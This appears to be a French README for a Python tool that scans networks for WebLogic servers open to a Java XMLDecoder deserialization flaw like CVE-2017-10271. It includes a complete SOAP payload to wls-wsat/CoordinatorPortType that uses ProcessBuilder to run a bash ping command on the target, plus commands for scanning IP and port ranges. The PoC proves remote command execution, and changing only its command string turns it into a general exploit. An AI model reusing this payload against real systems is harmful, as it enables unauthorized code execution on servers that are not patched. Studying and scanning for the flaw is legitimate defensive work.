
Scanner de vulnérabilité de désérialisation Java pour des vulnérabilités similaires à CVE-2017-10271
Un scanner de vulnérabilité de désérialisation Java pour des failles similaires à CVE-2017-10271. Ce projet ne contient qu'un seul PoC, les autres n'ont pas encore été organisés.
Installer nmap
https://nmap.org/download.html Téléchargez la version appropriée en fonction de votre système d'exploitation.
Installer les paquets tiers
pip install -r requirements.txt
Analyse
Modifiez le PoC, remplacez l'adresse IP dans la commande ping par votre propre adresse IP
Modifiez le code sniff à la ligne 25
sniff(filter='icmp and yourIP',prn=packet_callback)
java_scan.py -i adresse_IP [options] java_scan.py -h pour obtenir de l'aide
Avant d'utiliser, assurez-vous de modifier le PoC, remplacez l'adresse IP dans la commande ping par votre propre adresse IP.
Le PoC se compose de deux fichiers au format JSON, respectivement pour Windows et Linux (actuellement, la fonction de spécification du chemin du PoC n'est pas incluse, elle sera ajoutée dans une version ultérieure). Veuillez nommer les PoC poc.json et poc_win.json dans le répertoire du programme.
Concernant le format du PoC (version Linux, version Windows similaire)
{
"url":"wls-wsat/CoordinatorPortType",
"header": "Content-Type:text/xml",
"data": [
"<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>",
"<soapenv:Header>",
"<work:WorkContext xmlns:work='http://bea.com/2004/06/soap/workarea/'>",
"<java version='1.8.0_131' class='java.beans.XMLDecoder'>",
"<void class='java.lang.ProcessBuilder'>",
"<array class='java.lang.String' length='3'>",
"<void index='0'>",
"<string>/bin/bash</string>",
"</void>",
"<void index='1'>",
"<string>-c</string>",
"</void>",
"<void index='2'>",
"<string>ping 10.60.18.5 -c 2</string>",
"</void>",
"</array>",
"<void method='start'/></void>",
"</java>",
"</work:WorkContext>",
"</soapenv:Header>",
"<soapenv:Body/>",
"</soapenv:Envelope>"
]
}
url spécifie le répertoire d'exploitation, header spécifie le contenu de l'en-tête ajouté à la requête POST, data est le contenu sérialisé à envoyer.
Note : Ce PoC doit faire en sorte que la machine vulnérable renvoie 2 paquets ping ; le programme ne pourra confirmer la présence de la vulnérabilité que lorsqu'il détectera un paquet ICMP.
Par défaut, le programme utilise nmap pour scanner le réseau local.
java_scan.py -i 192.168.0.1
Cela scanne le port 7001 de l'hôte 192.168.0.1.
Spécifier une seule IP et un seul port
java_scan.py -i 192.168.0.1 -p 7001
Spécifier plusieurs IP et plusieurs ports
java_scan.py -i 192.168.0.1,2,55 -p 7001,8001,9001
Spécifier une plage d'IP et une plage de ports
java_scan.py -i 192.168.0.1-255 -p 7000-8000
Utilisez le paramètre -f pour appeler une sonde rapide des ports via socket.
java_scan.py -i 192.168.0.1-255 -p 7001 -f
Spécifier le nombre de threads pour la détection rapide des ports
java_scan.py -i 192.168.0.1-255 -p 7001 -f -t 100
